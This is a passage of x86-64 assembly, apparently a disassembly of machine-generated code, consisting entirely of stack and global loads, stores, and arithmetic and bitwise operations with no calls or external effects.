mov rcx, qword [rsp + 0xa718]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x99f8]
mov byte [rcx], al
movsx eax, word [rsp + 0x15f4]
mov rcx, qword [rsp + 0xa680]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x17ec], ax
movzx eax, byte [rsp + 0x2ac]
mov byte [rsp + 0x2b4], al
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rsp + 0x9668]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x97b0], rax
mov rax, qword [rsp + 0x9d00]
mov qword [rsp + 0xab60], rax
mov rax, qword [rsp + 0x8df8]
mov rcx, qword [rsp + 0xa958]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f30], eax
mov eax, dword [rsp + 0x4fc8]
mov ecx, dword [rsp + 0x5010]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e90], eax
lea rax, [rsp + 0x163c]
mov qword [rsp + 0xab68], rax
lea rax, [rsp + 0x252]
mov qword [0x1401cdb30], rax
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x179c]
and eax, ecx
mov rcx, qword [rsp + 0x8d30]
mov word [rcx], ax
lea rax, [rsp + 0x20b]
mov qword [rsp + 0xab70], rax
movsx eax, byte [rsp + 0x2af]
mov rcx, qword [rsp + 0xa6b8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x93d8]
mov byte [rcx], al
lea rax, [rsp + 0x4f20]
mov qword [rsp + 0xab78], rax
mov rax, qword [rsp + 0xa798]
mov rcx, qword [rsp + 0x9e00]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9d30], rax
mov rax, qword [rsp + 0x8ff0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5060]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f00], eax
mov rax, qword [rsp + 0x9dc0]
mov rax, qword [rax]
mov qword [rsp + 0xab80], rax
mov rax, qword [rsp + 0xa468]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ea8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x97a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9358]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9160]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x1401cd8b0]
mov byte [rcx], al
lea rax, [rsp + 0x259]
mov qword [rsp + 0xab88], rax
movzx eax, word [rsp + 0x1808]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14e4]
sar eax, cl
mov word [rsp + 0x1510], ax
lea rax, [rsp + 0x2a9]
mov qword [rsp + 0xab90], rax
mov rax, qword [rsp + 0x9cc8]
mov rcx, qword [rsp + 0x9f38]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9e68], rax
mov rax, qword [rsp + 0xa950]
mov rcx, qword [rsp + 0x9468]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x47cc], eax
mov rax, qword [rsp + 0x9eb8]
mov ecx, dword [rsp + 0x4ef4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9020]
mov rcx, qword [rsp + 0xa628]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa830], rax
movzx eax, word [rsp + 0x15c0]
mov rcx, qword [rsp + 0x9568]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc0ec], ax
movzx eax, word [rsp + 0x15cc]
mov word [rsp + 0x181c], ax
mov rax, qword [rsp + 0x9e10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f6]
add eax, ecx
mov byte [rsp + 0x1e8], al
movzx eax, word [rsp + 0x100c]
mov word [rsp + 0x1820], ax
movzx eax, byte [rsp + 0x1ef]
movzx ecx, byte [rsp + 0x21f]
sub eax, ecx
mov byte [rsp + 0x1ea], al
mov rax, qword [rsp + 0x9130]
mov rcx, qword [rsp + 0x9618]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8360], rax
mov rax, qword [rsp + 0x9308]
mov eax, dword [rax]
mov dword [rsp + 0x5188], eax
mov rax, qword [rsp + 0x9db8]
mov rcx, qword [rsp + 0xa000]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x94c0], rax
lea rax, [rsp + 0x513c]
mov qword [rsp + 0xab98], rax
movzx eax, word [rsp + 0x10d8]
mov word [0x1401cdb38], ax
movzx eax, word [rsp + 0x1134]
movzx ecx, word [rsp + 0x17c0]
shl eax, cl
mov word [rsp + 0x14fc], ax
lea rax, [rsp + 0x287]
mov qword [rsp + 0xaba0], rax
mov rax, qword [rsp + 0xa2d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x57]
xor eax, ecx
mov byte [rsp + 0x24d], al
movzx eax, byte [rsp + 0x290]
movzx ecx, byte [rsp + 0x241]
or eax, ecx
mov byte [rsp + 0x1ed], al
mov rax, qword [rsp + 0x9958]
mov qword [rsp + 0xaba8], rax
mov rax, qword [rsp + 0x9010]
movzx ecx, al
mov rax, qword [rsp + 0x8fd0]
sar rax, cl
mov qword [rsp + 0x9438], rax
mov rax, qword [rsp + 0x9d38]
mov eax, dword [rax]
mov dword [rsp + 0x518c], eax
mov rax, qword [rsp + 0x8d08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50a8], eax
mov rax, qword [rsp + 0xa0b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17a4]
imul eax, ecx
mov word [0x1401cc0fc], ax
movsx eax, word [rsp + 0x1720]
mov rcx, qword [rsp + 0xa468]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa820]
mov word [rcx], ax
lea rax, [0x1401cc04a]
mov qword [rsp + 0xabb0], rax
mov rax, qword [rsp + 0x9ab8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x96e0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x14d], al
lea rax, [rsp + 0x1728]
mov qword [rsp + 0xabb8], rax
mov rax, qword [rsp + 0x9860]
mov ecx, dword [0x1401cd710]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5018], eax
mov rax, qword [rsp + 0x9b00]
mov rcx, qword [rsp + 0xa5c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8bd0], rax
lea rax, [rsp + 0x4758]
mov qword [rsp + 0xabc0], rax
mov rax, qword [rsp + 0x9e48]
mov rcx, qword [rsp + 0x9f58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x92f8], rax
movzx eax, word [rsp + 0x100c]
movzx ecx, word [rsp + 0x1724]
add eax, ecx
mov rcx, qword [0x1401cd888]
mov word [rcx], ax
mov rax, qword [rsp + 0xa2d8]
movzx eax, byte [rax]
mov byte [rsp + 0x2b5], al
mov rax, qword [rsp + 0x99f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa120]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x93b0]
mov byte [rcx], al
movsx eax, word [rsp + 0x153c]
movsx ecx, word [rsp + 0x1734]
sub eax, ecx
mov rcx, qword [rsp + 0x91c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9d10]
movzx eax, byte [rax]
mov byte [rsp + 0x2b6], al
mov rax, qword [rsp + 0x9528]
mov eax, dword [rax]
mov ecx, dword [0x1401cd720]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9988]
mov dword [rcx], eax
lea rax, [rsp + 0x98b8]
mov qword [rsp + 0xabc8], rax
mov rax, qword [rsp + 0x9168]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xab20]
shr rax, cl
mov rcx, qword [rsp + 0x8fc0]
mov qword [rcx], rax
lea rax, [0x1401cc01c]
mov qword [rsp + 0xabd0], rax
mov rax, qword [rsp + 0xa468]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ef8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401cc100], ax
mov rax, qword [rsp + 0xa9b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9160]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1e2], al
movzx eax, word [0x1401cc0d0]
movzx ecx, word [rsp + 0x170c]
shl eax, cl
mov word [rsp + 0x1180], ax
lea rax, [rsp + 0x15e4]
mov qword [rsp + 0xabd8], rax
mov rax, qword [rsp + 0x92a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa728]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1eb], al
lea rax, [0x1401cc020]
mov qword [rsp + 0xabe0], rax
mov rax, qword [rsp + 0xa288]
mov rcx, qword [rsp + 0x9fa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x50f8], eax
mov rax, qword [rsp + 0x99a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa558]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f18]
mov eax, dword [rax]
mov dword [rsp + 0x5190], eax
mov rax, qword [rsp + 0x9550]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1674]
add eax, ecx
mov rcx, qword [0x1401cd9d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x96e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x207]
sub eax, ecx
mov byte [rsp + 0x253], al
mov rax, qword [rsp + 0x9f48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaac0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x120], al
mov rax, qword [rsp + 0x9568]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15b0]
sub eax, ecx
mov rcx, qword [rsp + 0xa440]
mov word [rcx], ax
movsx eax, byte [rsp + 0x29d]
movsx ecx, byte [rsp + 0x107]
sub eax, ecx
mov byte [rsp + 0x235], al
mov rax, qword [rsp + 0x9660]
mov qword [rsp + 0xabe8], rax
mov rax, qword [rsp + 0x93b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50d0], eax
lea rax, [0x1401cc028]
mov qword [rsp + 0xabf0], rax
mov rax, qword [rsp + 0x98b0]
mov ecx, dword [rsp + 0x4fe8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5184], eax
lea rax, [rsp + 0x1500]
mov qword [0x1401cdb40], rax
mov rax, qword [rsp + 0x9248]
movzx eax, word [rax]
mov word [rsp + 0x1824], ax
mov rax, qword [0x1401cd8c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x238]
add eax, ecx
mov byte [rsp + 0x24a], al
mov rax, qword [rsp + 0x9f40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x205]
sar eax, cl
mov rcx, qword [rsp + 0xa730]
mov byte [rcx], al
mov rax, qword [0x1401cd980]
movzx eax, word [rax]
mov word [rsp + 0x1828], ax
mov rax, qword [rsp + 0x97a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa9f8]
mov qword [rsp + 0xabf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xabf8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9fe8], rax
lea rax, [rsp + 0x5150]
mov qword [rsp + 0xac00], rax
mov rax, qword [rsp + 0x9658]
mov ecx, dword [rsp + 0x4f5c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x508c], eax
mov rax, qword [rsp + 0x9de0]
mov rcx, qword [rsp + 0x8d10]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa6f0], rax
mov rax, qword [rsp + 0x9550]
movzx eax, word [rax]
mov word [rsp + 0x182c], ax
movzx eax, byte [rsp + 0x279]
mov rcx, qword [rsp + 0x8f80]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401cc06e], al
mov rax, qword [rsp + 0xa518]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9a68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1710], ax
lea rax, [rsp + 0x255]
mov qword [rsp + 0xac08], rax
mov rax, qword [rsp + 0x9640]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa258]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1448], ax
mov rax, qword [rsp + 0x9528]
mov rcx, qword [rsp + 0xa958]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8ee8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x94b0]
mov qword [rsp + 0xac10], rax
mov rax, qword [rsp + 0x9a70]
mov rcx, qword [rsp + 0xa948]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9158]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9908]
mov rax, qword [rax]
mov qword [rsp + 0xac18], rax
movsx eax, byte [rsp + 0x1fd]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x229], al
movzx eax, byte [rsp + 0x1f8]
movzx ecx, byte [rsp + 0x25d]
add eax, ecx
mov rcx, qword [0x1401cd938]
mov byte [rcx], al
movzx eax, word [rsp + 0x1134]
movzx ecx, word [rsp + 0x15c0]
sub eax, ecx
mov word [rsp + 0x1558], ax
mov rax, qword [rsp + 0x9230]
movzx eax, byte [rax]
mov byte [rsp + 0x2b7], al
movsx eax, byte [0x1401cc067]
mov rcx, qword [rsp + 0xaa60]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9940]
mov byte [rcx], al
lea rax, [rsp + 0x50d0]
mov qword [rsp + 0xac20], rax
mov rax, qword [rsp + 0x8980]
mov rcx, qword [rsp + 0x9808]
mov qword [rsp + 0xac28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xac28]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xa6b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9e98]
mov eax, dword [rax]
mov dword [rsp + 0x5194], eax
mov rax, qword [rsp + 0x9aa0]
mov rcx, qword [rsp + 0xa788]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9e18], rax
mov rax, qword [rsp + 0xa5a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x239], al
lea rax, [rsp + 0x15c4]
mov qword [0x1401cdb48], rax
mov rax, qword [rsp + 0x8f08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16fc]
or eax, ecx
mov word [rsp + 0xf78], ax
movsx eax, word [rsp + 0x16f8]
movsx ecx, word [0x1401cd960]
imul eax, ecx
mov word [rsp + 0x1818], ax
lea rax, [rsp + 0x1798]
mov qword [rsp + 0xac30], rax
mov rax, qword [rsp + 0xa0c8]
mov rcx, qword [rsp + 0x93a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9e00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94d0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9618]
mov qword [rcx], rax
mov rax, qword [rsp + 0x99b8]
mov eax, dword [rax]
mov dword [rsp + 0x5198], eax
mov rax, qword [rsp + 0xa698]
mov rcx, qword [rsp + 0x81c0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9808]
mov qword [rcx], rax
lea rax, [rsp + 0x250]
mov qword [rsp + 0xac38], rax
movsx eax, word [rsp + 0x14e0]
movsx ecx, word [rsp + 0x17fc]
add eax, ecx
mov word [0x1401cc104], ax
movzx eax, byte [rsp + 0x27b]
movzx ecx, byte [rsp + 0x1ce]
sub eax, ecx
mov byte [rsp + 0x2a1], al
movzx eax, word [0x1401cc0d8]
movzx ecx, word [rsp + 0xf18]
and eax, ecx
mov word [rsp + 0x1804], ax
lea rax, [rsp + 0x25e]
mov qword [rsp + 0xac40], rax
mov rax, qword [rsp + 0x9d48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa1d8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x240], al
lea rax, [rsp + 0x8600]
mov qword [rsp + 0xac48], rax
mov rax, qword [rsp + 0x8f18]
mov rcx, qword [rsp + 0xa110]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xac20]
mov dword [rcx], eax
lea rax, [rsp + 0x9ff8]
mov qword [rsp + 0xac50], rax
mov rax, qword [rsp + 0x8f50]
mov ecx, dword [0x1401cc01c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x506c], eax
mov rax, qword [rsp + 0x8ed8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14fc]
sub eax, ecx
mov rcx, qword [0x1401cd9c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x95f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9230]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9b18]
mov byte [rcx], al
lea rax, [0x1401cc034]
mov qword [rsp + 0xac58], rax
movzx eax, word [rsp + 0x14cc]
mov rcx, qword [rsp + 0xabd8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x15f8], ax
movzx eax, byte [rsp + 0x1db]
mov byte [rsp + 0x2b8], al
mov eax, dword [rsp + 0x512c]
mov ecx, dword [rsp + 0x4e38]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9030]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa2e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9460]
mov qword [rsp + 0xac60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xac60]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x94a0], rax
mov rax, qword [rsp + 0xa630]
mov rax, qword [rax]
mov qword [rsp + 0xac68], rax
mov rax, qword [rsp + 0x8df8]
mov rcx, qword [rsp + 0xa438]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5154], eax
movzx eax, byte [rsp + 0x269]
mov byte [0x1401cd7ec], al
lea rax, [rsp + 0x16d4]
mov qword [rsp + 0xac70], rax
movsx eax, word [rsp + 0x169c]
mov rcx, qword [0x1401cd7f8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9730]
mov word [rcx], ax
mov rax, qword [rsp + 0x9ab8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x260]
sub eax, ecx
mov rcx, qword [rsp + 0xa560]
mov byte [rcx], al
movzx eax, word [rsp + 0x17d4]
mov word [rsp + 0x1830], ax
mov rax, qword [rsp + 0xa910]
mov rcx, qword [rsp + 0x8e20]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9ed8], rax
lea rax, [rsp + 0x8540]
mov qword [rsp + 0xac78], rax
mov rax, qword [rsp + 0xab78]
mov ecx, dword [rsp + 0x50f0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x90e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa9d8]
mov ecx, dword [0x1401cd710]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e48], eax
movsx eax, byte [rsp + 0x292]
mov rcx, qword [rsp + 0xa170]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401cc067], al
lea rax, [rsp + 0x1784]
mov qword [rsp + 0xac80], rax
mov rax, qword [rsp + 0x9900]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x247]
add eax, ecx
mov rcx, qword [rsp + 0x8fb8]
mov byte [rcx], al
lea rax, [rsp + 0x23c]
mov qword [rsp + 0xac88], rax
movzx eax, word [rsp + 0x1684]
movzx ecx, word [rsp + 0x16c8]
sub eax, ecx
mov rcx, qword [rsp + 0xaaf8]
mov word [rcx], ax
lea rax, [rsp + 0x4c2c]
mov qword [rsp + 0xac90], rax
mov rax, qword [rsp + 0xa080]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa7e0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xac78]
mov qword [rcx], rax
mov rax, qword [rsp + 0xac50]
mov rcx, qword [rsp + 0x7fb8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xaa40]
mov qword [rcx], rax
lea rax, [rsp + 0x4f40]
mov qword [rsp + 0xac98], rax
lea rax, [rsp + 0x1e8]
mov qword [0x1401cdb50], rax
movsx eax, word [rsp + 0x16bc]
movsx ecx, word [rsp + 0x14d8]
shl eax, cl
mov rcx, qword [rsp + 0x9ea8]
mov word [rcx], ax
lea rax, [rsp + 0x1814]
mov qword [rsp + 0xaca0], rax
mov rax, qword [0x1401cd748]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x207]
xor eax, ecx
mov byte [rsp + 0x19b], al
movzx eax, word [rsp + 0x17f0]
mov rcx, qword [rsp + 0x9038]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9180]
mov word [rcx], ax
mov rax, qword [rsp + 0xa338]
mov qword [rsp + 0xaca8], rax
mov eax, dword [rsp + 0x514c]
mov ecx, dword [rsp + 0x4f84]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa660]
mov dword [rcx], eax
lea rax, [rsp + 0x8018]
mov qword [rsp + 0xacb0], rax
mov rax, qword [rsp + 0x9f00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4da0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x95a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xab28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x26f]
add eax, ecx
mov rcx, qword [0x1401cda78]
mov byte [rcx], al
movsx eax, word [rsp + 0x17d8]
mov rcx, qword [rsp + 0xa5a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10d8], ax
mov rax, qword [0x1401cd760]
movzx eax, byte [rax]
mov byte [rsp + 0x2b9], al
mov rax, qword [rsp + 0x9530]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9568]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa348]
mov word [rcx], ax
mov rax, qword [rsp + 0xa468]
movzx eax, word [rax]
mov word [rsp + 0x1834], ax
mov rax, qword [rsp + 0xa058]
mov rcx, qword [0x1401cd728]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9b38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8980]
mov rcx, qword [rsp + 0xa918]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa320]
mov eax, dword [rax]
mov dword [rsp + 0x519c], eax
mov rax, qword [rsp + 0x96f0]
mov rcx, qword [rsp + 0xa110]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5134], eax
mov rax, qword [rsp + 0xa220]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x21e]
sub eax, ecx
mov byte [0x1401cc01b], al
lea rax, [rsp + 0x1134]
mov qword [rsp + 0xacb8], rax
movzx eax, byte [0x1401cc01a]
movzx ecx, byte [rsp + 0x1ee]
or eax, ecx
mov rcx, qword [rsp + 0x8f80]
mov byte [rcx], al
lea rax, [rsp + 0x16c0]
mov qword [rsp + 0xacc0], rax
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xac38]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0x8a10]
movzx ecx, al
mov rax, qword [rsp + 0x9e48]
shl rax, cl
mov rcx, qword [rsp + 0x9330]
mov qword [rcx], rax
lea rax, [rsp + 0x5150]
mov qword [rsp + 0xacc8], rax
mov rax, qword [rsp + 0x9a98]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4fc0]
sar eax, cl
mov rcx, qword [rsp + 0xabd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa0f8]
mov rcx, qword [rsp + 0x8ab8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8428], rax
movsx eax, byte [rsp + 0x1f2]
mov rcx, qword [rsp + 0xa578]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401cc072], al
movzx eax, byte [0x1401cd716]
mov rcx, qword [rsp + 0x91d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fb8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa808]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17b4]
sub eax, ecx
mov rcx, qword [rsp + 0x92c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa440]
movzx eax, word [rax]
mov word [rsp + 0x1838], ax
movsx eax, byte [rsp + 0x20b]
mov rcx, qword [rsp + 0x98a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1fe], al
mov eax, dword [rsp + 0x50ac]
mov dword [rsp + 0x51a0], eax
mov rax, qword [rsp + 0x9de0]
mov rcx, qword [rsp + 0xa658]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ca0], rax
mov rax, qword [rsp + 0x95a8]
mov eax, dword [rax]
mov ecx, dword [0x1401cd710]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ef8], eax
mov rax, qword [rsp + 0x9ca8]
mov rax, qword [rax]
mov qword [rsp + 0xacd0], rax
movzx eax, byte [rsp + 0x211]
movzx ecx, byte [rsp + 0x2a8]
sub eax, ecx
mov byte [rsp + 0x27d], al
lea rax, [0x1401cc04f]
mov qword [0x1401cdb58], rax
movzx eax, word [rsp + 0x1710]
mov word [rsp + 0x183c], ax
mov rax, qword [rsp + 0x8f70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1780]
add eax, ecx
mov word [rsp + 0x15f4], ax
lea rax, [rsp + 0x28d]
mov qword [rsp + 0xacd8], rax
mov rax, qword [rsp + 0x9918]
mov eax, dword [rax]
mov ecx, dword [0x1401cc01c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x50a4], eax
mov rax, qword [rsp + 0x96f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9588]
mov qword [rsp + 0xace0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xace0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xa338], rax
mov rax, qword [rsp + 0x9238]
mov qword [rsp + 0xace8], rax
mov eax, dword [rsp + 0x4e94]
mov ecx, dword [rsp + 0x4dd8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa760]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa720]
movzx eax, word [rax]
mov word [rsp + 0x1840], ax
movzx eax, byte [rsp + 0x224]
movzx ecx, byte [0x1401cc03f]
shl eax, cl
mov byte [0x1401cc009], al
movsx eax, byte [rsp + 0x1f2]
mov rcx, qword [rsp + 0x8fa8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa038]
mov byte [rcx], al
movsx eax, word [rsp + 0x1664]
mov rcx, qword [rsp + 0x9be8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1658], ax
lea rax, [rsp + 0x15f0]
mov qword [rsp + 0xacf0], rax
mov rax, qword [rsp + 0x8d18]
mov rcx, qword [rsp + 0x9558]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f88], eax
lea rax, [rsp + 0xac18]
mov qword [rsp + 0xacf8], rax
mov rax, qword [rsp + 0x9868]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5104]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xabc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9978]
mov rcx, qword [rsp + 0xa4e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa238], rax
lea rax, [rsp + 0x203]
mov qword [rsp + 0xad00], rax
mov rax, qword [0x1401cdb00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa778]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc0f4], ax
mov rax, qword [rsp + 0xa440]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaa00]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaa18]
mov word [rcx], ax
lea rax, [rsp + 0x201]
mov qword [rsp + 0xad08], rax
movsx eax, word [rsp + 0x1630]
movsx ecx, word [rsp + 0x1750]
sub eax, ecx
mov word [rsp + 0x179c], ax
mov rax, qword [rsp + 0x95e8]
mov ecx, dword [rsp + 0x514c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa250]
mov dword [rcx], eax
lea rax, [rsp + 0xa100]
mov qword [rsp + 0xad10], rax
mov rax, qword [rsp + 0xa950]
